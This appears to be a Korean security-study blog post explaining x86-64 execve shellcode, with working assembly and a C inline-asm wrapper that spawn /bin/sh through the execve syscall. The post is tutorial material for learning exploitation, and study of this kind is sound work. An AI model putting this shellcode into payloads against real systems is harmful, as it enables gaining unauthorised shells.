반응형
셸(Shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스이다.
셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여깁니다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.
다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.
1. execve(“/bin/sh”, null, null)
execve 셸코드는 execve 시스템 콜만으로 구성된다.
첫번째 인자에는 파일 이름, 두번째 인자에는 실행파일, 세번째 인자에는 환경변수가 들어간다.
우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다.
execve 의 rax에는 59(0x3b)가 들어간다.
;Name: execve.S
mov rax, 0x68732f6e69622f ;filename
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
2. 실습
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위에 코드를 실행해주면 아래와 같이된다.
3. objdump 를 이용한 shellcode 추출
반응형
'보안 > 시스템 해킹' 카테고리의 다른 글
[ 시스템 해킹 ] DreamHack WarGame : Return to Library (0) | 2022.07.28 |
---|---|
[ 시스템 해킹 ] DreamHack WarGame : ssp_001 (0) | 2022.07.27 |
[ 시스템 해킹 ] Exploit Tech: Shellcode ( orw ) (0) | 2022.07.20 |
[ 시스템해킹 ] 파이썬 모듈 : pwntools 설치 및 함수소개 (0) | 2022.07.19 |
[ 시스템 해킹 ] gdb : pwndbg (0) | 2022.07.19 |